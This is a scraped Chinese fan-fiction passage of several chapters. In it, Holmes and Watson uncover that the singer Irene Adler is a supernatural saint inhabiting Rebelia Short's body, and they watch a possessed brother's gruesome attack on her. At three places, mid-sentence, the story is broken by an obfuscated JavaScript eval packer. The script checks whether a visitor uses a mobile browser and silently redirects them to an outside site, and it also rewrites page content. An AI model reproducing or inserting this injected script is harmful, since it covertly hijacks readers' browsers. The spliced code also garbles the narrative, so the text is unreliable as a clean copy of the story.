约翰觉得自己的好友不仅是个聪明的侦探，或杰出的小提琴演奏者，更是一名脱颖的演员。 约翰想了想，问他： “我以为教会派人是为了保护她。” “之前国王陛下送来的那封请函上残留的超凡气息，是不是也和那位女士有关？” 歇洛克学着寻常人的动作将食物咽下。 他以前觉得这是浪费时间，不过后来约翰坚持不懈提醒他按时用餐，现在竟然也养成了习惯。 “保护她，只不过是名义上。” 歇洛克说道： “因为屋内所有下仆的动作，更像是防止她主动接触其他人，但不阻止一些客人的主动拜访，所以我才说更像监视。” “另外，更古怪的是，我装作马夫前去试探情报的时候，在塞彭泰恩大街遇到了一个‘疯子’。” 约翰：“疯子？” “没错。” “一个说话条理还算清晰，内容也详细，可周围人都觉得他是在胡言乱语的‘疯子’。” 约翰好奇难耐。 “为什么这么说？” “因为他说，那间屋子的屋主不应该是艾琳·艾德勒！在剧院登台表演的是也不该是艾琳·艾德勒！” “他记忆里的那个人叫作蕾贝丽雅·肖特，他自称是她的亲生兄长。” “据他所言，后来他再一次去剧院的时候，发现应当属于蕾贝丽雅的角色，被艾琳·艾德勒所抢占，甚至连房子也一并易主给艾琳。” “他愤怒得登门想要抗议，但被围绕在那位女士身边的仆人们毫不留情地出手赶走。” “这——”约翰目瞪口呆，“怎么会这样？！” 他又忽地想起，曾经在金玫瑰庄园里了解到的事情。 常人或许难以想象，但这个世界上真的有些强大的神秘力量，足以做到将两个截然不同的人生互换颠倒。 “难道又是哪个魔鬼的把戏？” “在场没有见到恶魔，或是魔鬼的印记。” 歇洛克说道： “七位恶魔中嫉妒已然消散，剩下六个能够有实力资本坐在餐桌边的还未现身。” 两人谈论的时间里，餐盘里的早餐已经被全部消灭，歇洛克放下手中的餐叉。 “那天约翰你要是也同行，估计能发现更多线索。” 他将最后在教堂中牧师宣告结婚的事情重复一遍。 约翰问道：“但……连你都未能听清？” 在他的印象里，自己这位好友对神秘学的了解远比自己更详细，也更广泛。 歇洛克说道： “就像鸟不会理解海洋有多深，鱼也不会理解天空有多广阔。” “不同人接受信息的多少和深浅，都是不同的。” 约翰有些遗憾，自己当时不在场。 “可惜那天我约好了工匠，需要装修整理诊所。” 歇洛克拍拍他的肩膀。 “那么今天你有空吗？我亲爱的朋友。” “当然！” 接着歇洛克略显神秘地发起提问。 “但今晚需要请你帮忙的事情有些危险，甚至可能会惹怒教会的那些使者，最糟糕的情况是，我们可能都会被‘请’到圣保罗监狱去和雷斯垂德一起喝杯茶。” “有这种风险，你还愿意与我一同前往吗？” 约翰毫不犹豫地给出自己的回答。 “只要我的朋友最后的目的是神圣的，是正义的，那我当然愿意！” 歇洛克大笑，“我向你保证，我的朋友！” 他极少说出这样的话，但唯独面对自己这位友人时，才会笃定彼此都能恪守自己绝不跨过的底线。 “那么我需要你帮我……”歇洛克对约翰说道。 *** 圣约翰伍德，塞彭泰恩大街，布里翁尼府第附近。 一个衣着褴褛的男人缩在墙角，眼里满是愤恨地看向不远处典雅华丽的房屋。 他喃喃自语着。 “那个女人怎么突然间就变了个人……不可能……怎么会这样！那我的钱找谁拿去！” 背靠着墙角坐在一旁的乞丐看了他一眼。 “你在这儿得有一周多了，总说自己认识那家屋主人，还自称是她的亲生哥哥……” 乞丐打了个哈欠。 “但我可记得清清楚楚，这屋主人叫艾琳·艾德勒，人家根本就不认识你，你想乞讨难道不该换个更好的理由来？” 他指了指自己面前用于乞讨的破碗。 “我看她非常慷慨，给的钱可别其他地方的富人多！” “你懂个屁！” 男人涨红了脸，像是气急败坏地骂道： “这本来就是那女人欠我的！当时留下的那笔钱，父母竟然背着我偷给她……她远走高飞后来了伦敦，以为就能抛弃以前的家人……想得美！” 他像是一股脑将所有怨恨都塞给了要找的人，却决然不愿意承认自己在家乡酗酒滥赌，还威胁父母不允许将任何一个铜子留给自己亲妹妹这件事。 “她现在还换了个样子……不！她一定就是蕾贝丽雅·肖特！” “她只是不想给我钱！故意用了什么办法改名换姓！一定是这样！” 旁边的乞丐摇摇头，感觉这个叫作卡梅伦·肖特的人真是个疯子，竟然硬要把艾德勒小姐认作是其他人。 他打了个哈欠，不知为何感觉午后的阳光像是失去了温度，但突如其来的困倦让他的眼皮下垂，最后不受自己控制地合上。 他失去了意识。 而卡梅伦还双目满是怨毒地紧盯那幢屋子，脑海里的想法已经从如何从妹妹那里要钱，变成了盘算趁没人的时候，闯进去抢劫又能收益多少。 就目前的情况来看，她像是不打算继续长期持续给他钱，但他分明见到这几天有不少衣着华丽的人来到这里。 他们身上随便一个首饰，都能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14913982|157846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让他还上不少赌债。 那想必那间屋子里值钱的珠宝和现金也不少才是。 要不要现在干一票，就远走高飞？ 就在他这么想的时候，卡梅伦完全没有注意到自己身边的黑影逐渐靠近，直至覆盖住了他整个人。 四周的温度越来越低。 一只手忽然重重搭在卡梅伦的肩头。 那股寒意如同刺骨的长锥，以一种不符合常理，但真实存在的方式，蜿蜒地要刺进他的大脑之中，将他的思绪全部搅成一滩烂泥。 卡梅伦无法忍受地猛然尖叫起来，鼻涕、眼泪几乎是不受控制地混合糊在了脸上。 靠在一旁墙角的乞丐还低垂着头，像是睡着一般没有任何反应。 塞彭泰恩大街上人来人往，可似乎没有任何人注意到这条小巷里传来的凄厉惨叫声。 卡梅伦抽搐着身体，口吐白沫倒在地上，如果不是还有呼吸的频率，几乎叫人以为他已经在刚才就彻底死去。 他身后的那个高大黑色人影站得笔直，伸出的手犹如勾住猎物的鹰爪，极为有力地将卡梅伦这个成年男性直接从地面上拽了起来，然后盯着他浑浊的眼睛，仿佛在透过一扇窗户，打量着内里的灵魂。 端详几秒后，他扔下像是一条死狗的男人，然后转身恭敬地向身后某位存在说道： “教授，卡梅伦·肖特的确拥有天赋，看见了艾琳·艾德勒降世的踪迹。” “在他的灵魂彻底失去价值之前，让他再去试路看看。” “我们的对手还有几位，现在大意，吃亏的可能就是自己。” 他的声音如同万千鸟兽同时哀鸣，在短暂的刺耳后，又逐渐平息成一道温和有礼的老者声线。 他好似循循善诱的老师，说话时的语气，和他走路时的频率一样不急不缓。 “下手要干净，不要让其他人发现端倪。” 只不过他在走出街角，长长的黑色斗篷掠过那个沉默不语的乞丐身边时，后者的头不自然地垂落更低了些，好似彻底枯败的残花依靠在污浊的城市一角里。 “明白。” 站得笔直的男人简短有力地回应，接着伸手再度抓向卡梅伦的头颅。 几秒后，他的身影也追随着刚才那位老者的脚步，凭空消失在墙壁的拐角之后。 又过了会儿，倒在地上的卡梅伦缓缓爬了起来。 他睁开的眼瞳里只剩恐怖的眼白，随后他的眼珠以极其不合常理的方式各自往不同的方向转动几圈，一分钟后才像找准了方向，重新回到常人眼珠应该所在的位置。 他缓慢虚握了几下自己的手，像是重新适应着这具脆弱的躯壳。 墙角的乞丐还坐在那里一动不动。 这次卡梅伦看向对面那栋房屋的时候，眼里已经不复存在人性的挣扎，只剩下对人类灵魂疯狂的渴望。 他感觉自己的胃里空得可怕，但普通的人类食物已经满足不了他的食欲。 他看向身边那个乞丐，舔了舔干涸的嘴唇。 没有任何犹豫地伸手抓向他。 乞丐因为突如其来的外力，毫无反抗地瘫软倒下。 藏在蓬头垢面之下的双目是无神的空洞。 卡梅伦咒骂一声，“真是狗/屎！他的灵魂居然已经被吃了！” 现在他只好又把目光重新放在布里翁尼府第，直觉告诉他，那栋受到严密监视的房屋里有什么非常香甜诱人的食物存在。 32.32 约翰抬头看向人流不断的剧院正门。 报纸上说这里在几天前发生了火灾，看得出来后方建筑的表面和细节上都遍布灰黑和焦痕，现在大半的建筑已经在紧锣密鼓地修缮重建。 不过，剧院老板关心的可不仅仅是在火灾中遇险的人或物，他们更关心的是，如何快点把在大火里烧成灰烬的钱快点赚回来。 所以，在短暂的休整后，剧院借着报纸宣传的风口再度营业，说是要在露天场地，采用“实景”给观众们展现“绝对真实”的舞台氛围。 约翰简直听得目瞪口呆。 他怀疑火灾现场后，还有很多建筑存在安全隐患。 但这实在架不住报纸宣传得太过，当天仍旧有不少人被踩掉鞋子，也要去凑一凑免费公演的热闹。 现在他看着四周熙熙攘攘的人流，发现高个的好友像是一杆不倒的旗帜立在那儿。 他感觉自己的肩膀被撞得生疼，只能大声问对方。 “歇洛克！我还以为我们要去塞彭泰恩大街！” 像是漂泊在洋流中的两艘小船，他们艰难地挤进大门之中。 约翰长舒一口气，发现自己外套的扣子都被人流蹭掉了两个。 他下意识摸向自己口袋里的钱包。 触摸的感觉却是空空荡荡。 他的脸忽地一黑。 然后有什么东西忽然被抛到他的眼前。 约翰下意识手忙脚乱地接住，再一看才发现是自己刚才失踪的钱包。 虽然同样是从人群挤进来，但歇洛克的衣着没有半点狼狈，甚至还有余力轻松将他被偷走的钱包给顺了回来。 “今天这儿的扒手小偷，可能是以往的四到五倍。”歇洛克说道。 约翰仔细检查了一下里面，发现没少后才松了口气。 他的诊所可是花了不少钱，现在要没了钱包，接下来的银行还贷都得是个问题。 他这次将钱包更妥帖地收好，然后跟上好友的步伐。 “所以说，我们来，应该不只是为了看表演吧？”约翰问道。 “当然不是。”歇洛克的目光快速扫过，这间被报道几天前刚刚经历一场大火后的剧院，“还记得前几天报纸的头版新闻吗？” “剧院大火？” “没错。” 就目前他们见到的来看，火势的面积其实不是很大，它主要集中在后面舞台处，前方迎宾建筑部分几乎没有受损。 约翰说道：“所以这和我们接受的委托有什么必然联系吗？” “如果你有调查过艾琳·艾德勒最近的行踪轨迹，你会发现她在这间剧院任职过很长时间，发生火灾的那天，恰好是她来演出的时候。” “主啊！”约翰惊讶，“不过……我还是不太明白，我们为什么要来剧院一趟，毕竟艾德勒小姐不是幸运的毫发无损吗？” “约翰，这可不一定是‘幸运’。”歇洛克说道，“毫发无损更有可能是因为某种超凡力量在那刻保护了她，也就是说，不排除艾德勒也是一名使者。” “面对使者，想要找到她特意藏起来的东西没有那么简单，我们需要找到她曾经留下的仪阵或仪具，再破解她藏物的手段。” 侦探快速拿起剧院放在墙边，那本用于宣传的名册。 快速浏览过一遍后，他说道： “你还记得我之前和你说，现在的艾琳·艾德勒已经发生了某些改变。” 约翰正色。 “我当然记得。” “也许就像我们之前在另外一个维度世界里，看到的金玫瑰庄园一样。” “你觉得线索就藏在这间剧院里吗？” “这里是她除了家中最常到访的地方，既然塞彭泰恩大街那边不好直接入内，那这里应该还留有不少隐晦的线索。” 歇洛克将宣传册放到他面前。 “比如这个。” 约翰低头粗略翻阅了一遍。 这是一本中规中矩的宣传手册，不管是排版，还是文笔都谈不上有什么非常出彩或是相当奇怪的地方。 唯一值得称赞的是，它在剧院的明星演员介绍旁都附上了照片，让初次前来的观众们能最直观认识到谁才是这里的“吸金树”。 现在他的脸上出现疑惑。 他又从后往前翻了一遍宣传册，还是不觉得有什么奇怪的地方。 这上面甚至没有艾琳·艾德勒的照片。 约翰记得自己在公寓里看过那位女士的照片，非常的艳丽动人，端庄优雅，是仅看一眼容貌都会觉得印象深刻的存在。 所以，歇洛克为什么要给他看这个？ “约翰，在你的印象中，艾琳·艾德勒是什么样的人？” 虽然不知道他为什么这么问，不过约翰还是老实回答好友的问题。 “虽然我没有亲眼见过她，但不得不说，从照片上来看，她就是一位相当美丽的女性。” “国王陛下也对她称赞有加，不仅夸赞她具备过人的胆识和知识，还提到她有着天籁的歌喉，想必这是因为这样，剧院才会聘请她来表演。” “我也是这样的想法，于是我托雷斯垂德找到了这间剧院发放员工薪水的账单。” “令我，当然也会令你震惊的是，这间剧院的老板给艾德勒的薪水非常普通，普通到会让人觉得对不起她的美貌和歌喉。” “你知道的，就算有些演员或是歌唱家专业技术不是那么好，但只要这个人有着一副好脸蛋，不少人依旧会愿意掏钱前来观赏。” “更何况我去踩点观察的时候，的确见证过她的歌喉，非常动人，有着属于顶级歌唱家的实力。” “但这位精明的剧院老板竟然没有多出一分钱，尝试绑住艾德勒，不让她去找下家剧院应聘。” “也没有将她印刷在宣传册上，吸引更多的人前来掏钱买票。” 歇洛克指出其中的矛盾之处。 被这样一提醒，约翰恍然大悟。 “的确如此！” 歇洛克将那本宣传手册放回墙边的原位。 “这样名不副实的对待竟然也没有引发她的抗议或是不满，才更是奇怪。” 他做出总结： “除非她本来就不在意剧院发的薪水。” 此时他们已经走到了当初失火的地方。 按照报纸上有些像捕风捉影的说法，这里的火势是突兀自燃的，而且火势只在短短几秒之内就完全点燃了这间屋子，使得好几人丧命，十几人受伤严重。 现在这片没有被完全重建的区域显得很是破败，虽然已经被打扫了一遍，但仍旧留有不少黑灰焦痕。 约翰连续打了好几个喷嚏。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14919432|157846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 因为火势，这里的天花板都已经被损毁，相当于一个半露天的场所。 但他还是感觉有浓郁的花香，充斥在这片通风性极好的地带。 歇洛克看向他，“你有什么发现吗？约翰。” 约翰摸了摸自己的鼻子，“花香……百合花的花香……当然，不出我们意料的是，还有群星草和月光花燃烧后的香气，只不过前者的香气过于浓郁，反而盖住了后者。” 歇洛克若有所思。 这回轮到约翰看向他，“按理说，这么明显的气息，就算不用我来，你应当也是能闻到的。” “不，和你想的恰恰相反。”歇洛克说道，“我能嗅到后者，但前者反而隐匿得很深，我想只有部分有天赋的人群才能精准嗅到百合的花香。” 也许是因为近期来此的人太多，神秘侧留下的信息已经被冲淡了很多，但他们两人还是四处搜寻起来。 舞台已经被大火彻底夷为了平地，站在这片焦黑的土地上，抬头就能仰望到被残垣断壁拘束住蔚蓝的天空。 今天是个难得不起雾的好天气。 不远处教堂白色的尖塔露出短短一截出现在视野之中。 约翰眯起眼，似乎隐隐看见了有什么从那里飞来。 ……是白鸽吗？ 他这样想着的时候，感觉有什么轻飘飘的东西落在脸上。 羽毛？ 他伸出手去摸，但触及的刹那被烫得一个哆嗦。 那分明是黑色的火灰！ 就在他想出声呼喊歇洛克的同时，天空中一声巨响将他渺小的声音完全覆盖住。 约翰猛然抬起头，看到的是天堂的大门在头顶徐徐打开。 蔚蓝的天空被金色的光染透，吹着号角的天使要从云端降临人间。 那神圣宏伟的门内隐隐透露出辉煌的天堂之景，看不清面容的人们打扮奢华地在那里跳着欢快的舞蹈，像是这人世间一切的烦恼和苦难都再也无法打扰到他们。 天使振翅，要突破云层的阻碍，在震耳欲聋的号角声中将他也一起带入天堂，以享受无尽的快乐。 可约翰不觉得期待或荣幸。 他对那样的场景反而本能地心生恐惧起来。 因为他看见吹着号角的天使并非在欢庆，祂在流泪，从眼眶里流出蜿蜒的血泪。 祂的演奏更像呐喊，在喊着一些他现在无法听懂的话语。 祂翅膀上的白色羽毛在逐根脱落，落下瞬间就化作灼热的黑灰洒落在他的脸上，要将他和已经被焚毁的舞台重新点燃。 这样的场景令他心生恐惧，身体更是难以动弹。 他的舌头僵在口腔之中，声带无法震动，连眼珠也无法转动，唯有唇角的肌肉不受自己控制地扬起，像是满脸幸福地迎接天使的到来。 不——！不！ 他不想！ “约翰！” 啪嗒一声！ 有人拉住了他的肩膀，那些景色瞬间在他眼前消失，天空重新恢复成晴朗无云的模样。 约翰踉跄着倒退两步，低下头的时候感觉自己重新拿回身体的掌控权。 他大口大口喘着气，冷汗几乎渗透了后背的衣物。 歇洛克皱起眉，“没事吧？刚刚是怎么回事？” 约翰惊魂未定，“我……看到了……” 33.34 街边嘈杂得像是舞台上的喜剧，所有人都在一起，只差把车厢的门都给挤破。 混乱之中，歇洛克伪装的牧师高声喊道：“不要再挤了！会伤害到里面的人的！快让开——” 气血上头的流浪汉呸道：“哪里来的糟老头！快让开！” 他一把拽住了牧师的长胡子，挥手就是一拳砸在他的脸上，然后往车门那里扑去。 “女士！危险！” 白胡子的牧师脸上都是血，看起来已经没有那么健朗的身体还是第一时间就往车厢门口挡去。 一把锋利的刀在夜灯下闪烁着隐蔽的银光，向内部杀去。 常人或许看不出他们的区别，但牧师一眼就看出了不同。 弥漫着浓郁群星草与月光花的香气……眼前是一把仪具刀！ 这不是谋财，这是准备害命！ “谢谢您的帮助，老先生。” 车门里的女士反而像是镇定下来。 她的一只手越过牧师的肩膀，直接迎上那名流浪汉，然后抓住了他头顶的头发。 这个动作有力到让对方动弹不得，像是雕塑一样僵硬在原地。 “卡梅伦·肖特。”那道犹如百灵鸟一样的嗓音，正动人地响起，“是谁让你来杀我？” 四周的雾气愈发浓郁起来，不知何时街边那个手艺人、两名保安，以及其他几个年轻人都被雾气吞没，这里只剩下一辆马车，以及三个人站在灯下，像是映着聚光灯上演一出精彩的舞台表演。 约翰屏住呼吸，作为不远处唯一的观众，时刻注意着歇洛克的动作。 卡梅伦不作回答，他的眼珠已经不自然地翻转到后面，只剩下恐怖的眼白占满眼眶。 他握着手中仪具刀的力量相当之大，大到远超一个正常男性所拥有的极限力量范畴。 坚固的车厢边缘咔咔作响，像是要被这样的力道拦腰砍断。 “看样子，连最后的理智都没能保留，就彻底堕落成了恶魔。” 这位女士的感慨也动人得像是在舞台上的演唱。 “老先生，很抱歉将你卷入这场不当出现在大众面前的纷争之中，教会的医师很快就会赶到的。” 她轻轻拍了拍牧师的肩膀。 或许是她用了某种奇异的力量，又或者是歇洛克顺水推舟让开。 此时的艾琳直面，发了狂想要杀死她的卡梅伦。 “就算是被遮掩了，但你的身上还是有不容忽视的腐烂腥臭。” 这位女士不慌不忙，就如波西米亚的国王陛下所言，她聪慧过人，又胆大心细，镇定自若。 被这位女士赶到车厢后半截的牧师，心里再加上一句新的评价。 ——她的力量还很强。 对比雷斯垂德三阶使者的力量，眼前这位更强。 毕竟，她的对手是发了狂的恶魔。 而她只是伸出手，白皙修长的五指在虚空中用力抓合，就像有一只无形的大手凭空掐住了卡梅伦的脖子，令他动弹不得。 这是一个圈套，艾琳以自己的柔弱为表面诱饵，钓上些许的蛛丝马迹。 有人要杀她。 并非波西米亚国王，而是更藏于深处的某些超凡势力。 歇洛克飞速做出了判断。 他扫视了眼四周，没有看到异样的地方。 大鱼看起来很谨慎，没有想咬钩的意思。 卡梅伦从被掐住的喉咙里发出凄厉的嗬嗬声。 虽然就快断气，但他脸上丝毫不见恐惧和绝望，占据那张被酒色掏空精气神脸部的，只有对某种存在的狂热信仰。 他将声音硬是从嗓子里挤出来。 “大人——！大人——！我会做到的！把这个女人杀了！完成世界的大清洗！” 这道声音尖利得会让人类的耳膜感觉刺痛。 接下来，卡梅伦自己大幅扭动自己的身躯。 就好像他的身体和头分成了两个灵活的部分，再自行借助着某种外力拉扯住身体，最后生生拧断了自己的脖子。 痛苦没有唤醒他的灵魂，他沉醉在不知是谁营造的美梦里了结了自己的性命。 艾琳皱起眉，挥手散去自己刚才掐住卡梅伦的力量。 百合的花香浓郁，渐渐压过群星草和月光花的气息。 “女士！”白胡子的牧师忽然开口喊道。 艾琳抬眼看去。 只见头颅已经转过一百八十度的尸体现在又自己站了起来。 它摸索着自己的脑袋，在令人牙酸的喀嚓声中，把自己的头颅掰正，然后正对着他们，咧嘴露出一个惊悚的笑容。 它的眼眶现在已经完全变成了黑色，好似两颗黯淡无光的鱼目被人硬生生塞进了里面。 卡梅伦的尸体自顾自地拿起脚边的仪具刀，再将锋利的刀尖送到自己的嘴边。 艾琳脸色微变，立刻出手。 但不仅仅是她！ 另一道凛冽的破空声同时斩到了卡梅伦的脖子上。 吱呀一声，两道攻击同时被弹开。 那把仪具刀已经被吞食大半。 从口腔中线开始，还未僵硬的尸首，被它自己快要剖成两半。 鲜血淋漓地落下，像是要把整个街道都染成红色。 无力的羔羊沉默狂热地将自己献祭，像是幻想如此就能取悦神明，前往极乐的世界。 ——！ 然后，仿佛神真的从虚空之中冥冥投来一寸视线。 卡梅伦尸身的体内开始泛起淡淡的光。 它的血肉之中长出细微纯白的绒毛，破壳的清脆声不绝于耳，有一条白皙的手臂要从在中间破损的皮囊中钻出来，好像有某个诡异的“新生儿”即将撕开这些血肉，完成自主的诞生。 但在场可不会有人欢庆以这种方式诞生的新生儿。 “扔！” 白胡子的牧师一改之前面容上的慈祥，他的牧师袍撩起来的时候，就抽出一根手杖，直接将那条有着雪白细腻皮肤与细微绒毛的手臂钉死在地面上。 与此同时，一个黄铜短棍被扔了出来。 浓郁呛人的白烟迅速喷出，化作无形的手死死压住了即将暴动的尸身。 无独有偶，艾琳勾起车门边的阳伞，以尖头做锚点，钉死了另一条手臂。 她的动作行云流水，没有丝毫的惶恐和迟疑。 直到将敌人以十字架姿势订死后，她才侧首看了牧师一眼。 “老先生，您果然是身手了得。” “不及一位歌唱家的体力充沛。” 牧师假装没听懂她词句里的暗示。 他示意她看向那个被钉死在地面上，还在不断扭动哀嚎的超凡怪物。 细微的白色羽毛从那两条手臂的毛孔中渐渐长出。 “这该不会是你们教会搞出来的怪物？” “老先生已经猜出了我的身份？” 艾琳举起手中的阳伞，下一秒它就成了一只火把。 她解开自己的镂空织花披肩，将它扔到那扭动不休的怪物身上，就化作刺鼻的汽油。 然后，她扔下火把，让烈火借助燃油开始熊熊燃烧。 火光照亮他们的侧脸。 牧师说道：“艾琳·艾德勒，大概更被世人广而知晓的名字是圣人艾琳，这个国家东南部地区依旧有以你的名字命名的大教堂，出生在那里的人们坚信应当把新生儿送到教会去，由那里的牧师和修女们，用熄灭但仍旧带有余温的灰烬祝福他们今后平安顺遂。” “当然，伦敦福音教总部的圣保罗大教堂后院里，依旧有七位圣人的雕像，你的脸和雕像的是一模一样。” 在恶魔的哀嚎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“她没有挣扎，她的灵魂离开这具躯体的时候非常安宁平静，她的身躯和你的灵魂契合度非常高，你本可以直接强行杀死她的灵魂，使用这具躯壳。” “但你没有。” “你为了……送别，我想是可以用这个词的。” “为了送别蕾贝丽雅，你策划了那场婚礼。” 他顿了顿。 这是一位值得被尊敬的女士。 艾琳在火光前看着他。 “正是如此，福尔摩斯先生，原来那天的手艺人也是你。” “感谢那天你的证婚。” 那个时候艾琳的力量已经不可逆转地扭曲了部分现实，所以证婚的牧师潜意识忽略了新娘姓名，就算刻意提起，身为普通人的他也很难精准喊出“艾琳·艾德勒”这个本身带有超凡力量的名字。 她微笑，“当然您的伪装真是天衣无缝，如果不是刚才选择出手，或许我仍旧会认为站在自己面前的，只是一位热心肠的老牧师。” “毕竟，福音教会里不是所有牧师、修女都是使者。” “今晚我原本的计划只是钓一条鱼来，不想却看到了两条鱼的影子。” 歇洛克说道：“你想钓的鱼，可不是普普通通的鱼，小心被它拽入深渊。” “您或许无法理解……但若不在这时反抗，后续或许更加没有机会，福尔摩斯先生。” 艾琳回答。 “魔鬼们在对果实虎视眈眈……祂们的手已经伸向餐盘，我们已经没有多少时间了，所以不得不做出更激进的选择。” 她像一尊活过来的雕像看向他。 她的后背笔直不弯。 “我说过我会守护他们，我就一定会做到。” “就如我曾起誓的，哪怕献出我自己。” 这位女士微笑。 “这也是我们和祂们不同地方……福尔摩斯先生，我以为你对这一点已有真切的体会。” 34.35 伪装成牧师的侦探没有在这个话题上继续。 他像是自己也未理清本身对人类这个族群的情感和想法，所以无法发表客观的看法。 姿态优雅端庄，外貌美艳动人的女士也没有追问。 她只是回头看着渐渐熄灭的火堆，用只有他们两位能听见的声音低声说道： “这次袭击的手脚做得很是隐蔽，我甚至察觉不到是谁出手。” 歇洛克看了眼恍如薪柴一样即将被燃尽的恶魔骸骨。 “这种蛊惑人心，将其当做一次性棋子使用的方式，更像是魔鬼的手笔。” 但当他看了眼艾琳的表情时，又若有所思。 人类的表情、动作有时可以透露很多表里不一的细节线索，拥有人类躯壳的超凡能力者或生物也是一样。 此刻他从对方的神态里发现了一些端倪。 “你怀疑这不仅仅是魔鬼们的陷阱。” 他想起好友在剧院时，给他讲述的那些线索。 天堂、号角、血泪、舞会、天使。 他说出自己的推测。 “你在怀疑自己的同僚里有背叛者，否则你这样实力阶级的超凡使者，不当直接来到现实维度。” “天使……但我一直不认为有人已经拥有了那种阶级的实力。” “或许现在只能称为是圣人。” “圣人们，与恶魔同流合污？” 在他直接说出最后这句话的时候，夜晚的浓雾像是稍稍被驱散。 刺目的金光从天穹洒落，强硬地刺穿那些雾气。 若是抬头仰望，可见一只金色的独眼，像太阳一般悬挂天际，通过一种窥视的姿势，从云雾狭小的缝隙间往下观察着。 这样的场景诡异非凡，极少数看到的人无一例外都感觉大脑生疼，意志力若是薄弱，更是当场发疯发狂。 约翰隐约感觉，那只太阳一样的眼睛，像是在寻找是谁主动提起自己。 这种压迫感和他在剧院时感觉到的一样。 他有些担忧地看向马车停下的地方。 但是那里已经被一片浓雾遮盖，不见半点声音和光亮。 在雾气之中，艾琳竖起自己的食指放在嘴唇边。 浓雾和静默是最好的庇护所，他们不言不语，于是那只眼睛在良久的窥视仍旧没有什么异常后，终于不甘地重新闭合。 于是白昼重新变成黑夜，太阳落下的瞬间，那股灼人的恐怖视线随之消失。 现在即便对方没有开口解释，但有时沉默与现状就已经代表了一种承认。 歇洛克重新开口。 “那么现在的你准备脱离原本的阵营，孤身对抗原本的老东家和老对手？” 此刻，火焰已经完全熄灭，夜晚的浓雾与冷色的路灯光线，更为站在这里对话的两人画面，徒增几分针锋相对的尖锐感。 艾琳放下刚刚竖在唇边的那根手指。 “我并非孤身一人，福尔摩斯先生。” 她说了句没头没尾，连聪慧过人的侦探一时也未能理解的话。 “只要你还与那位华生先生一起行动，侦破案情，严惩凶手，我就并非孤身在行动。” “微弱的烛光，最终也会像当年一样，在茫茫黑夜里烧亮一切。” 看着侦探像是有些疑惑的皱眉，这位女士轻笑一声。 “当然这也不必着急究其原因。”她说道：“包括今晚是谁指示卡梅伦·肖特前来袭击，我也会持续追踪下去。” “只不过，遗憾于你我都清楚，但不能直言的原因，我必须离开伦敦，或者说离开英国一段时间。” “魔鬼们已然隐匿身份开始狩猎，而你依旧很自信，觉得自己不会因为某些‘意外事故’葬身路途之中。” 他看了眼远处的教堂剪影。 “但不可能是福音教会给你的安全感。” 眼前这位女士微笑，只是再度做了一个“嘘”的姿势。 接着，她拿出一张照片递给他。 “福尔摩斯先生应当是为这个而来。” “的确。”他如实说道，“只是不曾想得到，又牵扯出如此后续罢了。” “也许那句话是对的，神秘会吸引神秘。”艾琳说道，“我们并非研究者。” 她看了看浓雾之外的某处。 “今晚已经足够喧嚣和刺激，耽搁时间太晚，想必你的朋友也会担心。” 这位女士露出淡淡的笑意，动作优雅地从留有些许余温的灰烬中拿走自己的阳伞，然后果断又潇洒地转身离去。 “再见了，福尔摩斯先生。” “当然。” 她微微侧首，对他挥挥手。 “你好，福尔摩斯先生。” “也替我向华生先生问好。” “我会持续关注报纸上稿件的，你们的故事真的很精彩动人。” 她在夜晚的浓雾中渐行渐远。 街边的余灰被冰冷的风吹散，四周浓雾渐淡，马车空荡荡地留在原地，所有人还茫然地挤在车门口，但没有人发觉这里已经少了一位女士、一名牧师和一个流浪汉。 *** 几天后，贝克街221B。 “果然我来委托您是一个无比正确的决定！福尔摩斯先生，您不愧是全伦敦最出色的侦探！” “其实，如果艾琳的身世能更高贵一些，我想我一定会娶她做王后的。” 波西米亚的国王，奥姆斯坦因陛下兴奋地在屋里走来走去。 “福尔摩斯先生，我给你的报酬是不会少的。” “那么，那张照片呢？！” 他急不可待地冲过来，索要那样可能会毁了他联姻的照片。 约翰看向歇洛克。 歇洛克则看了国王一眼，然后坐在自己的长沙发上，将那张照片从衣袋里抽出来递给他。 “您要的照片，陛下。” 奥姆斯坦因那急匆匆的兴奋，下一秒就古怪地僵在脸上。 他一把扯过照片的手僵在了半空。 “这，这是谁？！” 他发出愤怒的质问，咆哮的声音甚至引来屋外一些邻居的视线注目。 歇洛克递过去的那张照片，是一位女性的单人照。 她坐在雕花的扶手椅上，微笑着看向镜头。 她的容貌清秀娟丽，看起来有些柔弱又不善言辞，但她的笑容恬淡，叫人一眼瞧起来有一种看待邻居妹妹的好感。 她不是艾琳·艾德勒。 她是蕾贝丽雅·肖特。 歇洛克说道：“这正是与您一同坠入爱河，后来又被您放弃的恋人。” “不可能！”国王的脸一片酱红，他愤怒地咆哮着，“我认识的艾琳不是这样的女人！她比这个人美丽多了！你怎么敢随便拿一个女人的照片就来糊弄我？！你知道你犯下什么错误吗！我会让你付出代价！” 约翰猛地站起来，语气严厉地说道： “陛下！” “你真的有仔细想过自己的恋人是谁吗！连自己的恋人都没有记住，现在反而责怪起正确的答案。” “这难道不是您的错吗？！” 歇洛克丝毫没有惊慌。 他点燃自己的烟斗，拍拍了维护自己的好友肩膀，示意他把正面的战场交给自己就好。 